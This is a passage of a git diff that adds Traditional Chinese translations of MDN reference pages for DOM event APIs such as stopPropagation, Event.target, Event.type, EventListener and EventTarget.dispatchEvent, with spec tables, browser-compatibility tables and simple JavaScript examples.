+   <td>{{SpecName('DOM4', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/event/stopimmediatepropagation/index.html b/files/zh-tw/web/api/event/stopimmediatepropagation/index.html
new file mode 100644
index 0000000000..8b08a441cc
--- /dev/null
+++ b/files/zh-tw/web/api/event/stopimmediatepropagation/index.html
@@ -0,0 +1,94 @@
+---
+title: Event.stopImmediatePropagation()
+slug: Web/API/Event/stopImmediatePropagation
+tags:
+  - API
+  - Event
+translation_of: Web/API/Event/stopImmediatePropagation
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>除了停止事件繼續捕捉或冒泡傳遞外，也阻止事件被傳入同元素中註冊的其它相同事件類型之監聽器。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="eval">event.stopImmediatePropagation();
+</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>如果一個元素中註冊了多個相同事件類型的監聽器，監聽器將會按照註冊的先後順序被呼叫。在其中任何一個監聽器執行的期間，若是呼叫了事件物件的 <code>stopImmediatePropagation()</code> 方法，則接下來尚未執行的監聽器皆不會被呼叫。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("6.0")}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatIE(9.0)}}</td>
+   <td>{{CompatOpera("15.0")}}</td>
+   <td>{{CompatSafari("5.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/event/stoppropagation/index.html b/files/zh-tw/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..652231306b
--- /dev/null
+++ b/files/zh-tw/web/api/event/stoppropagation/index.html
@@ -0,0 +1,63 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+tags:
+  - API
+  - DOM
+  - Event
+  - Method
+  - NeedsRewrite
+  - Reference
+translation_of: Web/API/Event/stopPropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Event")}} 介面的 <strong><code>stopPropagation()</code></strong> 方法可阻止當前事件繼續進行捕捉（capturing）及冒泡（bubbling）階段的傳遞。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>請參考範例五：<a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">事件傳遞</a>章節中關於此方法與 DOM 事件傳遞的更詳細範例。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Event.stopPropagation")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>See the <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM specification</a> for the explanation of event flow. (The <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events draft</a> has an illustration.)</li>
+ <li>{{domxref("Event.preventDefault()")}} is a related method that prevents the default action of the event from happening.</li>
+</ul>
diff --git a/files/zh-tw/web/api/event/target/index.html b/files/zh-tw/web/api/event/target/index.html
new file mode 100644
index 0000000000..9599be68c7
--- /dev/null
+++ b/files/zh-tw/web/api/event/target/index.html
@@ -0,0 +1,134 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+translation_of: Web/API/Event/target
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>指向最初觸發事件的 DOM 物件。與 {{domxref("event.currentTarget")}} 屬性不同的是，<code>event.currentTarget</code> 屬性總會指向目前於冒泡或捕捉階段正在處理該事件之事件處理器所註冊的 DOM 物件，而 <code>event.target</code> 屬性則是永遠指向觸發事件的 DOM 物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">theTarget = event.target</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>The <code>event.target</code> property can be used in order to implement <strong>event delegation</strong>.</p>
+
+<pre class="brush: js">// Make a list
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target refers to the clicked &lt;li&gt; element
+  // This is different than e.currentTarget which would refer to the parent &lt;ul&gt; in this context
+  e.target.style.visibility = 'hidden';
+}
+
+// Attach the listener to the list
+// It will fire when each &lt;li&gt; is clicked
+ul.addEventListener('click', hide, false);
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>On IE 6-8 the event model is different. Event listeners are attached with the non-standard {{domxref('EventTarget.attachEvent')}} method. In this model, the event object has a {{domxref('Event.srcElement')}} property, instead of the <code>target</code> property, and it has the same semantics as <code>event.target</code>.</p>
+
+<pre class="brush: js">function hide(e) {
+  // Support IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/event/timestamp/index.html b/files/zh-tw/web/api/event/timestamp/index.html
new file mode 100644
index 0000000000..3ec006a09e
--- /dev/null
+++ b/files/zh-tw/web/api/event/timestamp/index.html
@@ -0,0 +1,54 @@
+---
+title: Event.timeStamp
+slug: Web/API/Event/timeStamp
+translation_of: Web/API/Event/timeStamp
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary">說明</h2>
+
+<p>回傳事件建立的時間（單位是毫秒；從 epoch 開始計算）。</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">event.timeStamp
+</pre>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<pre><em>var number</em> = event.timeStamp;
+</pre>
+
+<p>下面是一個較為完整的範例：</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;timeStamp example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+function getTime(event) {
+  document.getElementById("time").firstChild.nodeValue = event.timeStamp;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="getTime(event)"&gt;
+
+&lt;p&gt;Press any key to get the current timestamp
+for the onkeypress event.&lt;/p&gt;
+&lt;p&gt;timeStamp: &lt;span id="time"&gt;-&lt;/span&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">注意</h2>
+
+<p>這個 property 僅在瀏覽器支持該事件才會有用。</p>
+
+<h2 id="Specification" name="Specification">詳細資料</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-timeStamp">timestamp </a></li>
+</ul>
diff --git a/files/zh-tw/web/api/event/type/index.html b/files/zh-tw/web/api/event/type/index.html
new file mode 100644
index 0000000000..12fcf0176d
--- /dev/null
+++ b/files/zh-tw/web/api/event/type/index.html
@@ -0,0 +1,97 @@
+---
+title: Event.type
+slug: Web/API/Event/type
+translation_of: Web/API/Event/type
+---
+<p>{{APIRef}}</p>
+
+<p><code><strong>Event.type</strong></code> 唯讀屬性會回傳一個代表此事件物件類型的字串。<code>Event.type</code> 屬性是於事件物件建立時被設定，而其屬性值－事件類型名稱也常被當作是特定的事件。</p>
+
+<p>傳至 {{ domxref("EventTarget.addEventListener()") }} 和 {{ domxref("EventTarget.removeEventListener()") }} 方法中，代表事件類型的參數 <em><code>event</code></em> 是不區分大小寫的。</p>
+
+<p>可用的事件類型，可參考 <a href="/zh-TW/docs/Web/Events" title="Mozilla event reference">event reference</a>。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">event.type
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+
+    &lt;title&gt;Event.type Example&lt;/title&gt;
+
+    &lt;script&gt;
+        var currEvent = null;
+        function getEvtType(evt) {
+            console.log("//Start------------getEvtType(evt)------------ ");
+
+            currEvent = evt.type;
+            console.log(currEvent);
+
+            //document.getElementById("Etype").firstChild.nodeValue = currEvent;
+            document.getElementById("Etype").innerHTML = currEvent;
+
+            console.log("//End--------------getEvtType(evt)------------ ");
+        }
+
+        //Keyboard events
+        document.addEventListener("keypress", getEvtType, false); //[second]
+
+        document.addEventListener("keydown", getEvtType, false); //first
+        document.addEventListener("keyup", getEvtType, false); //third
+
+        //Mouse events
+        document.addEventListener("click", getEvtType, false); // third
+
+        document.addEventListener("mousedown", getEvtType, false); //first
+        document.addEventListener("mouseup", getEvtType, false); //second
+
+    &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;Press any key or click the mouse to get the event type.&lt;/p&gt;
+&lt;p&gt;Event type: &lt;span id="Etype" style="color:red"&gt;-&lt;/span&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-type', 'Event.type')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/eventlistener/index.html b/files/zh-tw/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..8db3fba758
--- /dev/null
+++ b/files/zh-tw/web/api/eventlistener/index.html
@@ -0,0 +1,93 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+tags:
+  - DOM
+  - 事件
+  - 事件監聽
+translation_of: Web/API/EventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><strong><code>EventListener</code></strong> 介面表示一個可以處理由 {{domxref("EventTarget")}} 物件分派事件的物件。</p>
+
+<div class="note">
+<p><strong>注意：</strong>基於相容舊版內容的需要， <code>EventListener</code> 可以接受一個函式及一個帶有 <code>handleEvent()</code> 屬性函式的物件。相關的<a href="#Example">範例</a>顯示在下方。</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>這個介面並不實作且不繼承任何屬性。</em></p>
+
+<h2 id="方法">方法</h2>
+
+<p><em>這個介面不繼承任何方法。</em></p>
+
+<dl>
+ <dt>{{domxref("EventListener.handleEvent()")}}</dt>
+ <dd>一個可以在指定類型事件發生時被呼叫的函數。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id="btn"&gt;Click here!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const buttonElement = document.getElementById('btn');
+
+// 透過提供回呼函數的方式對「click」事件新增處理器。
+// 當元素被點選後會出現「Element clicked!」的彈出訊息。
+buttonElement.addEventListener('click', function (event) {
+  alert('Element clicked through function!');
+});
+
+// 基於相容性，一個帶有 `handleEvent` 的非函式物件可被視為處理函式。
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('Element clicked through handleEvent property!');
+  }
+});
+</pre>
+
+<h3 id="結果">結果</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h3 id="檢閱相關">檢閱相關:</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></li>
+</ul>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">這頁所產生的相容性表格是來自於結構化的資料。如果你想要貢獻資料，請查閱 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並傳送提取要求給我們。</div>
+
+<p>{{Compat("api.EventListener")}}</p>
diff --git a/files/zh-tw/web/api/eventtarget/dispatchevent/index.html b/files/zh-tw/web/api/eventtarget/dispatchevent/index.html
new file mode 100644
index 0000000000..8977c22c9e
--- /dev/null
+++ b/files/zh-tw/web/api/eventtarget/dispatchevent/index.html
@@ -0,0 +1,134 @@
+---
+title: EventTarget.dispatchEvent()
+slug: Web/API/EventTarget/dispatchEvent
+translation_of: Web/API/EventTarget/dispatchEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>於此 {{domxref("EventTarget")}} 物件上觸發特定的 {{domxref("Event")}} 物件實體，相當於依照註冊的順序呼叫它的 {{domxref("EventListener")}}。一般事件處理規則（包含捕捉（capturing）和可選的冒泡（bubbling）階段）也適用於用 <code>dispatchEvent()</code> 手動觸發事件。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>cancelled</em> = !<em>target</em>.dispatchEvent(<em>event</em>)
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<ul>
+ <li><code>event</code> 是要被觸發的事件（{{domxref("Event")}} 物件）。</li>
+ <li><code>target</code> 會被初始化為事件的 {{domxref("Event", "", "target")}} 屬性，其也影響了要呼叫哪一個事件監聽器。</li>
+</ul>
+
+<h3 id="回傳值">回傳值</h3>
+
+<ul>
+ <li>會在事件完成傳遞（捕捉、命中、冒泡三階段）之後才回傳其值。</li>
+ <li>若事件在傳遞過程當中，事件是可被取消的（{{domxref("Event.cancelable")}} 屬性為 <code>true</code>）且曾於一個或一個以上的事件處理器中被執行了該事件的 {{domxref("Event.preventDefault()")}} 方法（且事件須確實已被取消了預設行為），即回傳 <code>false</code>。否則回傳 <code>true</code> 值。</li>
+</ul>
+
+<p>若遇到以下 3 種情況，<code>dispatchEvent </code>會拋出錯誤資訊－－  <code>UNSPECIFIED_EVENT_TYPE_ERR</code> ：</p>
+
+<ol>
+ <li>執行 <code>dispatchEvent</code> 前並未藉由初始化事件指定事件類型</li>
+ <li>事件類型為 <code>null</code> 。</li>
+ <li>事件類型是個空白字串。</li>
+</ol>
+
+<p>這些異常，處理器會報告「異常未捕獲（uncaught exceptions）」；</p>
+
+<p>事件處理器（event handlers）會在一群呼叫堆（nested callstack）上執行：事件的呼叫方（caller）會先由處理器會阻擋暫停執行，直到事件完成才繼續執行，但是要注意的是，事件若發生異常並不會傳回給呼叫方。</p>
+
+<h2 id="Notes" name="Notes">注意</h2>
+
+<p><code>dispatchEvent</code> 是「建立→初始化→觸發」的最後一步驟。這些步驟是用來觸發事件，讓事件完成。事件有多種建立方式，例如用 {{domxref("​document.createEvent")}} 並用 <a href="/en-US/docs/DOM/event.initEvent" title="DOM/event.initEvent">initEvent</a> 或其他特殊 methods ，像是 <a href="/en-US/docs/DOM/event.initMouseEvent" title="DOM/event.initMouseEvent">initMouseEvent</a> 或 <a href="/en-US/docs/DOM/event.initUIEvent" title="DOM/event.initUIEvent">initUIEvent</a> 來初始化。</p>
+
+<p>詳請可參考《{{domxref("Event")}}》。</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p>請參閱《<a href="/zh-TW/docs/Web/Guide/Events/Creating_and_triggering_events">建立或觸發事件</a>》。</p>
+
+<h2 id="Specification" name="Specification">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-EventTarget-dispatchEvent', 'EventTarget.dispatchEvent()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">瀏覽器支援度</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2</td>
+   <td>9 [1]</td>
+   <td>9.64 (probably earlier)</td>
+   <td>3.2 (probably earlier)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]：早期的 IE 版本只支持 IE 特有的 {{domxref("EventTarget.fireEvent()")}} 方法來觸發事件。</p>
diff --git a/files/zh-tw/web/api/eventtarget/index.html b/files/zh-tw/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..4c10aa133e
--- /dev/null
+++ b/files/zh-tw/web/api/eventtarget/index.html
@@ -0,0 +1,177 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+  - API
+  - DOM
+  - DOM Events
+  - Interface
+  - NeedsTranslation
+  - TopicStub
+  - 待翻譯
+translation_of: Web/API/EventTarget
+---
+<p>{{ ApiRef("DOM Events") }}</p>
+
+<p><strong><code>EventTarget</code></strong> 介面定義了其實作的物件具有接收事件的能力，也可能擁有處理事件的監聽器。</p>
+
+<p>除了最為常見的 {{domxref("Element")}}、{{domxref("Document")}} 與 {{domxref("Window")}} 繼承或實作了 <code>EventTarget</code> 介面之外，其它的物件還有 {{domxref("XMLHttpRequest")}}、{{domxref("AudioNode")}}、{{domxref("AudioContext")}}⋯等等。</p>
+
+<p>許多 <code>EventTarget</code>（包括 Element、Document 和 Window）除了透過 {{domxref("EventTarget.addEventListener()", "addEventListener()")}} 方法外，還可藉由 {{domxref("Document_Object_Model", "DOM")}} 物件的屬性（{{Glossary("property/JavaScript", "property")}}）或 <a href="/zh-TW/docs/Web/HTML/Element">HTML 元素</a>屬性（{{Glossary("attribute")}}）來設定<a href="/zh-TW/docs/Web/Guide/DOM/Events/Event_handlers">事件處理器</a>。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="方法" name="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>於 <code>EventTarget</code> 物件上註冊指定事件的監聽器。</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd>移除 <code>EventTarget</code> 物件上的指定事件監聽器。</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd>對此 <code>EventTarget</code> 物件派送（dispatch）一個事件物件，也就是於此 <code>EventTarget</code> 物件上觸發一個指定的事件物件實體。</dd>
+</dl>
+
+<h3 id="Mozilla_chrome_code_的額外方法">Mozilla chrome code 的額外方法</h3>
+
+<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. See also <a href="/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{non-standard_inline}}</li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{non-standard_inline}}</li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="_Simple_implementation_of_EventTarget" name="_Simple_implementation_of_EventTarget">Simple implementation of EventTarget</h3>
+
+<pre class="brush: js">var EventTarget = function() {
+  this.listeners = {};
+};
+
+EventTarget.prototype.listeners = null;
+EventTarget.prototype.addEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    this.listeners[type] = [];
+  }
+  this.listeners[type].push(callback);
+};
+
+EventTarget.prototype.removeEventListener = function(type, callback) {
+  if (!(type in this.listeners)) {
+    return;
+  }
+  var stack = this.listeners[type];
+  for (var i = 0, l = stack.length; i &lt; l; i++) {
+    if (stack[i] === callback){
+      stack.splice(i, 1);
+      return;
+    }
+  }
+};
+
+EventTarget.prototype.dispatchEvent = function(event) {
+  if (!(event.type in this.listeners)) {
+    return true;
+  }
+  var stack = this.listeners[event.type];
+  event.target = this;
+  for (var i = 0, l = stack.length; i &lt; l; i++) {
+    stack[i].call(this, event);
+  }
+  return !event.defaultPrevented;
+};
+</pre>
+
+<p>{{ EmbedLiveSample('_Simple_implementation_of_EventTarget') }}</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>A few parameters are now optional (<code>listener</code>), or accepts the <code>null</code> value (<code>useCapture</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>9.0</td>
+   <td>7</td>
+   <td>1.0<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>9.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>window.EventTarget</code> does not exist.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
